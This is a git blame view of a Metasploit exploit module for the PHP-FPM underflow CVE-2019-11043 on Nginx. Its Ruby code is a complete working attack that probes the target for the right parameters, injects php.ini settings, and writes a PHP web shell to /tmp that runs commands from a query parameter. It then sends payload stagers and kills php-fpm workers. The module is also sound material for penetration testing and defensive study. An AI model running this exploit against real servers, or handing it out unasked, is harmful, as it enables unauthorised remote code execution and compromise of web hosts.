Files
metasploit-gs/modules/exploits/multi/http/php_fpm_rce.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

440 lines
15 KiB
Ruby
Raw Normal View History

2020-01-20 20:07:34 +01:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
2021-02-16 13:56:50 +00:00
'Name' => 'PHP-FPM Underflow RCE',
'Description' => %q{
2020-02-17 13:06:32 +01:00
This module exploits an underflow vulnerability in versions 7.1.x
below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on
Nginx. Only servers with certains Nginx + PHP-FPM configurations are
exploitable. This is a port of the original neex's exploit code (see
refs.). First, it detects the correct parameters (Query String Length
and custom header length) needed to trigger code execution. This step
determines if the target is actually vulnerable (Check method). Then,
the exploit sets a series of PHP INI directives to create a file
2020-02-17 18:25:10 +01:00
locally on the target, which enables code execution through a query
string parameter. This is used to execute normal payload stagers.
Finally, this module does some cleanup by killing local PHP-FPM
workers (those are spawned automatically once killed) and removing
the created local file.
2021-02-16 13:56:50 +00:00
},
'Author' => [
2020-01-20 20:07:34 +01:00
'neex', # (Emil Lerner) Discovery and original exploit code
'cdelafuente-r7' # This module
],
2021-08-27 17:15:33 +01:00
'References' => [
['CVE', '2019-11043'],
['EDB', '47553'],
['URL', 'https://github.com/neex/phuip-fpizdam'],
['URL', 'https://bugs.php.net/bug.php?id=78599'],
['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html']
],
2021-02-16 13:56:50 +00:00
'DisclosureDate' => '2019-10-22',
'License' => MSF_LICENSE,
'Payload' => {
2020-01-20 20:07:34 +01:00
'BadChars' => "&>\' "
},
2021-02-16 13:56:50 +00:00
'Targets' => [
2020-01-20 20:07:34 +01:00
[
'PHP', {
'Platform' => 'php',
2021-02-16 13:56:50 +00:00
'Arch' => ARCH_PHP,
'Payload' => {
'PrependEncoder' => 'php -r "',
'AppendEncoder' => '"'
2020-01-20 20:07:34 +01:00
}
}
],
[
'Shell Command', {
'Platform' => 'unix',
2021-02-16 13:56:50 +00:00
'Arch' => ARCH_CMD
2020-01-20 20:07:34 +01:00
}
]
],
'DefaultTarget' => 0,
2021-02-16 13:56:50 +00:00
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
2020-01-20 20:07:34 +01:00
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
2020-02-17 18:25:10 +01:00
OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php'])
2020-01-20 20:07:34 +01:00
])
register_advanced_options([
OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]),
OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]),
OptInt.new('QSLHint', [false, 'Query string length hint']),
OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]),
2020-02-14 17:16:27 -06:00
OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]),
OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]),
2020-01-20 20:07:34 +01:00
OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]),
OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']),
2021-02-16 13:56:50 +00:00
OptEnum.new('DetectMethod', [true, 'Detection method', 'session.auto_start', self.class.detect_methods.keys]),
2020-01-20 20:07:34 +01:00
OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20])
])
2020-02-17 15:58:21 +01:00
@filename = rand_text_alpha(1)
@http_param = rand_text_alpha(1)
2020-01-20 20:07:34 +01:00
end
2021-02-24 20:24:57 +00:00
CHECK_COMMAND = 'which which'.freeze
SUCCESS_PATTERN = '/bin/which'.freeze
2020-01-20 20:07:34 +01:00
class DetectMethod
attr_reader :php_option_enable, :php_option_disable
def initialize(php_option_enable:, php_option_disable:, check_cb:)
@php_option_enable = php_option_enable
@php_option_disable = php_option_disable
@check_cb = check_cb
end
def php_option_enabled?(res)
!!@check_cb.call(res)
end
end
def self.detect_methods
{
'session.auto_start' => DetectMethod.new(
php_option_enable: 'session.auto_start=1',
php_option_disable: 'session.auto_start=0',
check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ }
),
'output_handler.md5' => DetectMethod.new(
2021-02-16 13:56:50 +00:00
php_option_enable: 'output_handler=md5',
2020-01-20 20:07:34 +01:00
php_option_disable: 'output_handler=NULL',
check_cb: ->(res) { res.body.length == 16 }
)
}
end
2020-02-17 18:25:10 +01:00
def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true)
2021-02-16 13:56:50 +00:00
uri = Rex::Text.uri_encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, { '?' => '%3F', '&' => '%26' })
qsl_delta = uri.length - path.length - Rex::Text.uri_encode(target_uri.path).length
2020-01-20 20:07:34 +01:00
if qsl_delta.odd?
fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}"
end
2021-11-22 14:11:03 -06:00
prefix = cmd.empty? ? '' : "#{@http_param}=#{URI::DEFAULT_PARSER.escape(cmd)}%26"
2021-02-16 13:56:50 +00:00
qsl_prime = qsl - qsl_delta / 2 - prefix.length
2020-01-20 20:07:34 +01:00
if qsl_prime < 0
2020-03-05 13:28:28 +01:00
fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}"
2020-01-20 20:07:34 +01:00
end
2021-02-16 13:56:50 +00:00
uri = "#{uri}?#{prefix}#{'Q' * qsl_prime}"
2020-01-20 20:07:34 +01:00
opts = {
2021-02-16 13:56:50 +00:00
'method' => 'GET',
'uri' => uri,
2020-01-20 20:07:34 +01:00
'headers' => {
'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}",
2021-02-16 13:56:50 +00:00
'Nuut' => Rex::Text.rand_text_alphanumeric(11)
2020-01-20 20:07:34 +01:00
}
}
actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0
actual_timeout ||= 20
connect(opts) if client.nil? || !client.conn?
# By default, try to reuse an existing connection (persist option).
res = client.send_recv(client.request_raw(opts), actual_timeout, true)
if res.nil? && allow_retry
# The server closed the connection, resend without 'persist', which forces
# reconnecting. This could happen if the connection is reused too much time.
# Nginx will automatically close a keepalive connection after 100 requests
# by default or whatever value is set by the 'keepalive_requests' option.
res = client.send_recv(client.request_raw(opts), actual_timeout)
end
res
end
2021-02-16 13:56:50 +00:00
def repeat_operation(op, opts = {})
2020-01-20 20:07:34 +01:00
datastore['OperationMaxRetries'].times do |i|
2021-02-16 13:56:50 +00:00
vprint_status("#{op}: try ##{i + 1}")
2022-06-03 11:23:53 +03:00
res = opts.empty? ? send(op) : send(op, **opts)
2020-01-20 20:07:34 +01:00
return res if res
end
nil
end
def extend_qsl_list(qsl_candidates)
qsl_candidates.each_with_object([]) do |qsl, extended_qsl|
(0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta|
extended_qsl << qsl - delta
end
end.sort.uniq
end
def sanity_check?
datastore['OperationMaxRetries'].times do
res = send_crafted_request(
path: "/PHP\nSOSAT",
qsl: datastore['MaxQSL'],
customh_length: datastore['MaxCustomHeaderLength']
)
unless res
2021-02-16 13:56:50 +00:00
vprint_error('Error during sanity check')
2020-01-20 20:07:34 +01:00
return false
end
if res.code != @base_status
vprint_error(
"Invalid status code: #{res.code} (must be #{@base_status}). "\
2021-02-16 13:56:50 +00:00
'Maybe ".php" suffix is required?'
2020-01-20 20:07:34 +01:00
)
return false
end
detect_method = self.class.detect_methods[datastore['DetectMethod']]
2021-02-16 13:56:50 +00:00
next unless detect_method.php_option_enabled?(res)
vprint_error(
"Detection method '#{datastore['DetectMethod']}' won't work since "\
'the PHP option has already been set on the target. Try another one'
)
return false
2020-01-20 20:07:34 +01:00
end
return true
end
2020-02-17 18:25:10 +01:00
def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '')
2020-01-20 20:07:34 +01:00
path = "/PHP_VALUE\n#{php_setting}"
2020-02-17 18:25:10 +01:00
pos_offset = 34
if path.length > pos_offset
2020-02-17 19:04:32 +01:00
vprint_error(
"The path size (#{path.length} bytes) is larger than the allowed size "\
2021-02-16 13:56:50 +00:00
"(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')"
)
2020-01-20 20:07:34 +01:00
return nil
end
2020-02-17 18:25:10 +01:00
path += ';' * (pos_offset - path.length)
2020-01-20 20:07:34 +01:00
res = send_crafted_request(
path: path,
qsl: qsl,
customh_length: customh_length,
2020-02-17 18:25:10 +01:00
cmd: cmd
2020-01-20 20:07:34 +01:00
)
unless res
vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}")
end
return res
end
def send_params_detection(qsl_candidates:, customh_length:, detect_method:)
php_setting = detect_method.php_option_enable
vprint_status("Iterating until the PHP option is enabled (#{php_setting})...")
2020-02-14 17:16:27 -06:00
customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a
qsl_candidates.product(customh_lengths) do |qsl, c_length|
2020-01-20 20:07:34 +01:00
res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
unless res
vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}")
return nil
end
if res.code != @base_status
vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}")
end
if detect_method.php_option_enabled?(res)
php_setting = detect_method.php_option_disable
vprint_status("Attack params found, disabling PHP option (#{php_setting})...")
set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
return { qsl: qsl, customh_length: c_length }
end
end
return nil
end
def detect_params(qsl_candidates)
2020-02-14 17:16:27 -06:00
customh_length = nil
2020-01-20 20:07:34 +01:00
if datastore['CustomHeaderLengthHint']
vprint_status(
2021-02-16 13:56:50 +00:00
'Using custom header length hint for max length (customh_length='\
2020-02-14 17:16:27 -06:00
"#{datastore['CustomHeaderLengthHint']})"
)
2020-01-20 20:07:34 +01:00
customh_length = datastore['CustomHeaderLengthHint']
end
detect_method = self.class.detect_methods[datastore['DetectMethod']]
return repeat_operation(
:send_params_detection,
qsl_candidates: qsl_candidates,
customh_length: customh_length,
detect_method: detect_method
)
end
def send_attack_chain
[
2021-02-16 13:56:50 +00:00
'short_open_tag=1',
'html_errors=0',
'include_path=/tmp',
2020-02-17 15:58:21 +01:00
"auto_prepend_file=#{@filename}",
2021-02-16 13:56:50 +00:00
'log_errors=1',
'error_reporting=2',
2020-02-17 15:58:21 +01:00
"error_log=/tmp/#{@filename}",
2021-02-16 13:56:50 +00:00
'extension_dir="<?=`"',
2020-02-17 15:58:21 +01:00
"extension=\"$_GET[#{@http_param}]`?>\""
2020-01-20 20:07:34 +01:00
].each do |php_setting|
vprint_status("Sending php.ini setting: #{php_setting}")
res = set_php_setting(
php_setting: php_setting,
qsl: @params[:qsl],
customh_length: @params[:customh_length],
2020-02-17 18:25:10 +01:00
cmd: "/bin/sh -c '#{CHECK_COMMAND}'"
2020-01-20 20:07:34 +01:00
)
if res
return res if res.body.include?(SUCCESS_PATTERN)
else
2020-02-17 13:06:32 +01:00
print_error("Error when setting #{php_setting}")
2020-01-20 20:07:34 +01:00
return nil
end
end
return nil
end
def send_payload
disconnect(client) if client&.conn?
2020-02-14 17:16:27 -06:00
send_crafted_request(
2020-01-20 20:07:34 +01:00
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
2020-02-17 18:25:10 +01:00
cmd: payload.encoded,
2020-01-20 20:07:34 +01:00
allow_retry: false
)
2020-02-17 19:04:32 +01:00
Rex.sleep(1)
2020-02-14 17:16:27 -06:00
return session_created? ? true : nil
2020-01-20 20:07:34 +01:00
end
def send_backdoor_cleanup
2020-02-17 15:58:21 +01:00
cleanup_command = ";echo '<?php echo `$_GET[#{@http_param}]`;return;?>'>/tmp/#{@filename}"
2020-01-20 20:07:34 +01:00
res = send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
2021-02-24 20:24:57 +00:00
cmd: "#{cleanup_command};#{CHECK_COMMAND}"
2020-01-20 20:07:34 +01:00
)
2021-02-24 20:24:57 +00:00
return res if res&.body&.include?(SUCCESS_PATTERN)
2021-02-16 13:56:50 +00:00
2020-01-20 20:07:34 +01:00
return nil
end
def detect_qsl
qsl_candidates = []
2020-02-17 19:04:32 +01:00
(datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl|
res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl)
unless res
vprint_error("Error when sending query with QSL=#{qsl}")
next
end
if res.code != @base_status
vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate")
qsl_candidates << qsl
2020-01-20 20:07:34 +01:00
end
end
qsl_candidates
end
def check
2021-02-16 13:56:50 +00:00
print_status('Sending baseline query...')
2020-01-20 20:07:34 +01:00
res = send_crafted_request(path: "/path\ninfo.php")
2021-02-16 13:56:50 +00:00
return CheckCode::Unknown('Error when sending baseline query') unless res
2020-01-20 20:07:34 +01:00
@base_status = res.code
vprint_status("Base status code is #{@base_status}")
2020-02-17 19:04:32 +01:00
if datastore['QSLHint']
print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})")
qsl_candidates = [datastore['QSLHint']]
else
2021-02-16 13:56:50 +00:00
print_status('Detecting QSL...')
2020-02-17 19:04:32 +01:00
qsl_candidates = detect_qsl
end
2020-01-20 20:07:34 +01:00
if qsl_candidates.empty?
2021-02-16 13:56:50 +00:00
return CheckCode::Detected('No qsl candidates found, not vulnerable or something went wrong')
2020-01-20 20:07:34 +01:00
end
if qsl_candidates.size > datastore['MaxQSLCandidates']
2021-02-16 13:56:50 +00:00
return CheckCode::Detected('Too many qsl candidates found, looks like I got banned')
2020-01-20 20:07:34 +01:00
end
print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}")
qsl_candidates = extend_qsl_list(qsl_candidates)
vprint_status("Extended QSL list: #{qsl_candidates}")
2021-02-16 13:56:50 +00:00
print_status('Doing sanity check...')
2020-03-05 13:28:28 +01:00
return CheckCode::Detected('Sanity check failed') unless sanity_check?
2020-01-20 20:07:34 +01:00
2021-02-16 13:56:50 +00:00
print_status('Detecting attack parameters...')
2020-01-20 20:07:34 +01:00
@params = detect_params(qsl_candidates)
2020-03-05 13:28:28 +01:00
return CheckCode::Detected('Unable to detect parameters') unless @params
2020-01-20 20:07:34 +01:00
print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}")
2021-02-16 13:56:50 +00:00
print_good('Target is vulnerable!')
2020-03-05 13:28:28 +01:00
CheckCode::Vulnerable
ensure
disconnect(client) if client&.conn?
2020-01-20 20:07:34 +01:00
end
def exploit
2020-03-05 13:28:28 +01:00
unless check == CheckCode::Vulnerable
2020-01-20 20:07:34 +01:00
fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
end
if @params[:qsl].nil? || @params[:customh_length].nil?
fail_with Failure::NotVulnerable, 'Attack parameters not found'
end
2021-02-16 13:56:50 +00:00
print_status('Performing attack using php.ini settings...')
2020-01-20 20:07:34 +01:00
if repeat_operation(:send_attack_chain)
print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'")
else
fail_with Failure::Unknown, 'Failed to send the attack chain'
end
2020-02-17 15:58:21 +01:00
print_status("Trying to cleanup /tmp/#{@filename}...")
2020-01-20 20:07:34 +01:00
if repeat_operation(:send_backdoor_cleanup)
print_good('Cleanup done!')
end
2021-02-16 13:56:50 +00:00
print_status('Sending payload...')
2020-03-05 13:28:28 +01:00
repeat_operation(:send_payload)
2020-01-20 20:07:34 +01:00
end
def send_cleanup(cleanup_cmd:)
res = send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
2020-02-17 18:25:10 +01:00
cmd: cleanup_cmd
2020-01-20 20:07:34 +01:00
)
return res if res && res.code != @base_status
2021-02-16 13:56:50 +00:00
2020-01-20 20:07:34 +01:00
return nil
end
2020-02-17 19:04:32 +01:00
def cleanup
2020-01-20 20:07:34 +01:00
return unless successful
2021-02-16 13:56:50 +00:00
2020-01-20 20:07:34 +01:00
kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done'
2020-02-17 15:58:21 +01:00
rm = "rm -f /tmp/#{@filename}"
2021-02-24 20:24:57 +00:00
cleanup_cmd = "#{kill_workers};#{rm}"
2020-01-20 20:07:34 +01:00
disconnect(client) if client&.conn?
2020-02-17 15:58:21 +01:00
print_status("Remove /tmp/#{@filename} and kill workers...")
2020-01-20 20:07:34 +01:00
if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd)
2021-02-16 13:56:50 +00:00
print_good('Done!')
2020-01-20 20:07:34 +01:00
else
print_bad(
2021-02-16 13:56:50 +00:00
'Could not cleanup. Run these commands before terminating the session: '\
2020-01-20 20:07:34 +01:00
"#{kill_workers}; #{rm}"
)
end
end
end